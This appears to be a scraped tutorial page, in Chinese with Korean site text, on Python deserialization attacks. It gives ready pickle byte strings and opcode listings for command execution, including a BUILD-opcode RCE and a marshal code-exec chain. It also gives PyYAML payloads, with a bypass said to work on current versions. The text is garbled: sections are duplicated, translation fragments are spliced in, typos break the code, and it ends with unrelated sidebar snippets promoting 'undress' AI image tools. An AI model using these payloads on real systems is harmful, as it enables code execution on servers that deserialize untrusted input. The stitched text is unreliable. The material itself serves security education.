- 将对象 pickle 后存储在磁盘文件
- 将对象 pickle 后在网络中传输
- 参数传递给程序
PyYAML
yaml
是一种标记类语言,类似与 xml
和 json
,各个支持yaml格式的语言都会有自己的实现来进行 yaml
格式的解析(读取和保存),PyYAML
就是 yaml
的 python 实现
在使用 PyYAML
库时,若使用了 yaml.load()
而不是 yaml.safe_load()
函数解析 yaml
文件,则会导致反序列化漏洞的产生
原理
PyYAML
有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
로그인 후 복사
例如:
# Test.pyimport yamlimport osclass test:
def __init__(self):
os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
로그인 후 복사
该代码执行后,会生成 sample.yml
,并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {}
再使用 yaml.load()
解析该 yaml
文件:
import yaml
yaml.load(file('sample.yml', 'w'))
로그인 후 복사

命令成功执行。但是命令的执行依赖于 Test.py
的存在,因为 yaml.load()
时会根据yml文件中的指引去读取 Test.py
中的 test
这个对象(类)。如果删除 Test.py
,也将运行失败
Payload
PyYAML
想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:
# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
로그인 후 복사
利用这两个标签,就可以构造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
로그인 후 복사
PyYAML
>= 5.1
在版本 PyYAML
>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()
方法时,需要加上 loader
参数,直接使用时会爆出安全警告
loader的四种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()
方法绕过检测:
!!python/object/apply:subprocess.getoutput
- whoami
로그인 후 복사

在最新版本上,命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:
- load(data)
- load(data, Loader=Loader)
- load(data, Loader=UnsafeLoader)
- load(data, Loader=FullLoader)
- load_all(data)
- load_all(data, Loader=Loader)
- load_all(data, Loader=UnSafeLoader)
- load_all(data, Loader=FullLoader)
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行
推荐学习:python学习教程
__reduce()_
의 명령어 코드는 ``R입니다. **직렬화되는 문자열에
R 명령어가 존재하는 한**,
reduce 메소드는
reduce` 메소드가 일반 프로그램에 지정되었는지 여부에 관계없이 실행됩니다. 🎜🎜pickle은자동으로 실행됩니다. deserialization 아직 도입되지 않은 모듈을 가져옵니다. 따라서 Python 표준 라이브러리의 모든 코드 실행 및 명령 실행 기능을 사용할 수 있지만 페이로드
를 생성하는 Python 버전이 대상과 일치해야 합니다. 🎜🎜🎜예: 🎜class a_class(): def __reduce__(self): return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'whoami' 24: \x85 TUPLE1 25: R REDUCE 26: . STOP highest protocol among opcodes = 2
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_
利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag(): def __init__(self, a): self.a = a your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a: print('flag:{}'.format(secret_flag.a))else: print('No!')
在不知道 secret.a 的情况下要如何获得 flag 呢?
先尝试获得 flag() 的序列化字符串:
class flag(): def __init__(self, a): self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: X BINUNICODE 'a' 32: q BINPUT 3 34: X BINUNICODE 'A' 40: q BINPUT 4 42: s SETITEM 43: b BUILD 44: . STOP highest protocol among opcodes = 2
可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A'
改为 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改为 csecret\na\n
)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag
除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:
test1 = 'test1'test2 = 'test2'class A: def __reduce(self): retutn exec, "test1='asd'\ntest2='qwe'"로그인 후 복사
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用'whoami'
来再次BUILD这个对象,则会执行setstate('whoami')
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE
例:
代码中存在一个任意类:
class payload: def __init__(self): pass
根据这个类构造 PVM 指令:
0: \x80 PROTO 3 2: c GLOBAL '__main__ payload' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: } EMPTY_DICT # 使用BUILD,先放入一个字典 22: ( MARK # 放值前先放一个标志 23: V UNICODE '__setstate__' # 放键值对 37: c GLOBAL 'nt system' 48: u SETITEMS (MARK at 22) 49: b BUILD # 第一次BUILD 50: V UNICODE 'whoami' # 加参数 58: b BUILD # 第二次BUILD 59: . STOP
将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化后成功执行命令
利用Marshal
模块造成任意函数执行
pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_
调用,因为__reduce__
是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres
模块来动态的创建匿名函数
import marshalimport typesdef code(): import os print('hello') os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行
在 pickle
上使用:
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE=' tRtRc__builtin__ globals (tRS'' tR(tR."""pickle.loads(s) # 字符串转换为 bytes
漏洞出现位置
- 解析认证 token、session 时
- 将对象 pickle 后存储在磁盘文件
- 将对象 pickle 后在网络中传输
- 参数传递给程序
PyYAML
yaml
是一种标记类语言,类似与 xml
和 json
,各个支持yaml格式的语言都会有自己的实现来进行 yaml
格式的解析(读取和保存),PyYAML
就是 yaml
的 python 实现
在使用 PyYAML
库时,若使用了 yaml.load()
而不是 yaml.safe_load()
函数解析 yaml
文件,则会导致反序列化漏洞的产生
原理
PyYAML
有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
例如:
# Test.pyimport yamlimport osclass test: def __init__(self): os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
该代码执行后,会生成 sample.yml
,并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {}
再使用 yaml.load()
解析该 yaml
文件:
import yaml yaml.load(file('sample.yml', 'w'))
命令成功执行。但是命令的执行依赖于 Test.py
的存在,因为 yaml.load()
时会根据yml文件中的指引去读取 Test.py
中的 test
这个对象(类)。如果删除 Test.py
,也将运行失败
Payload
PyYAML
想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:
# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
利用这两个标签,就可以构造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
PyYAML
>= 5.1
在版本 PyYAML
>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()
方法时,需要加上 loader
参数,直接使用时会爆出安全警告
loader的四种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()
方法绕过检测:
!!python/object/apply:subprocess.getoutput - whoami
在最新版本上,命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:
- load(data)
- load(data, Loader=Loader)
- load(data, Loader=UnsafeLoader)
- load(data, Loader=FullLoader)
- load_all(data)
- load_all(data, Loader=Loader)
- load_all(data, Loader=UnSafeLoader)
- load_all(data, Loader=FullLoader)
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行
推荐学习:python学习教程
위 내용은 Python 역직렬화를 이해하도록 안내합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제









C 언어에는 내장 합계 기능이 없으므로 직접 작성해야합니다. 합계는 배열 및 축적 요소를 가로 질러 달성 할 수 있습니다. 루프 버전 : 루프 및 배열 길이를 사용하여 계산됩니다. 포인터 버전 : 포인터를 사용하여 배열 요소를 가리키며 효율적인 합계는 자체 증가 포인터를 통해 달성됩니다. 동적으로 배열 버전을 할당 : 배열을 동적으로 할당하고 메모리를 직접 관리하여 메모리 누출을 방지하기 위해 할당 된 메모리가 해제되도록합니다.

구별되고 구별되는 것은 구별과 관련이 있지만, 다르게 사용됩니다. 뚜렷한 (형용사)는 사물 자체의 독창성을 묘사하고 사물 사이의 차이를 강조하는 데 사용됩니다. 뚜렷한 (동사)는 구별 행동이나 능력을 나타내며 차별 과정을 설명하는 데 사용됩니다. 프로그래밍에서 구별은 종종 중복 제거 작업과 같은 컬렉션에서 요소의 독창성을 나타내는 데 사용됩니다. 홀수 및 짝수 숫자를 구별하는 것과 같은 알고리즘이나 함수의 설계에 별개가 반영됩니다. 최적화 할 때 별도의 작업은 적절한 알고리즘 및 데이터 구조를 선택해야하며, 고유 한 작업은 논리 효율성의 구별을 최적화하고 명확하고 읽을 수있는 코드 작성에주의를 기울여야합니다.

기술 및 산업 요구에 따라 Python 및 JavaScript 개발자에 대한 절대 급여는 없습니다. 1. 파이썬은 데이터 과학 및 기계 학습에서 더 많은 비용을 지불 할 수 있습니다. 2. JavaScript는 프론트 엔드 및 풀 스택 개발에 큰 수요가 있으며 급여도 상당합니다. 3. 영향 요인에는 경험, 지리적 위치, 회사 규모 및 특정 기술이 포함됩니다.

! x 이해! x는 C 언어로 된 논리적 비 운영자입니다. 그것은 x의 값, 즉 실제 변경, 거짓, 잘못된 변경 사항을 부수합니다. 그러나 C의 진실과 거짓은 부울 유형보다는 숫자 값으로 표시되며, 0이 아닌 것은 참으로 간주되며 0만이 거짓으로 간주됩니다. 따라서! x는 음수를 양수와 동일하게 처리하며 사실로 간주됩니다.

합에 대한 C에는 내장 합계 기능이 없지만 다음과 같이 구현할 수 있습니다. 루프를 사용하여 요소를 하나씩 축적합니다. 포인터를 사용하여 요소를 하나씩 액세스하고 축적합니다. 큰 데이터 볼륨의 경우 병렬 계산을 고려하십시오.

코드 취약점, 브라우저 호환성, 성능 최적화, 보안 업데이트 및 사용자 경험 개선과 같은 요소로 인해 H5 페이지를 지속적으로 유지해야합니다. 효과적인 유지 관리 방법에는 완전한 테스트 시스템 설정, 버전 제어 도구 사용, 페이지 성능을 정기적으로 모니터링하고 사용자 피드백 수집 및 유지 관리 계획을 수립하는 것이 포함됩니다.

코드 복사 및 붙여 넣기는 불가능하지는 않지만주의해서 처리해야합니다. 코드의 환경, 라이브러리, 버전 등과 같은 종속성은 현재 프로젝트와 일치하지 않으므로 오류 또는 예측할 수없는 결과를 초래할 수 있습니다. 파일 경로, 종속 라이브러리 및 Python 버전을 포함하여 컨텍스트가 일관되게 유지하십시오. 또한 특정 라이브러리의 코드를 복사 및 붙여 넣을 때 라이브러리 및 해당 종속성을 설치해야 할 수도 있습니다. 일반적인 오류에는 경로 오류, 버전 충돌 및 일관되지 않은 코드 스타일이 포함됩니다. 성능 최적화는 코드의 원래 목적 및 제약에 따라 재 설계 또는 리팩토링되어야합니다. 복사 코드를 이해하고 디버그하고 맹목적으로 복사하여 붙여 넣지 않는 것이 중요합니다.

크롤링하는 동안 58.com 작업 페이지의 동적 데이터를 얻는 방법은 무엇입니까? Crawler 도구를 사용하여 58.com의 작업 페이지를 크롤링 할 때는이 문제가 발생할 수 있습니다.
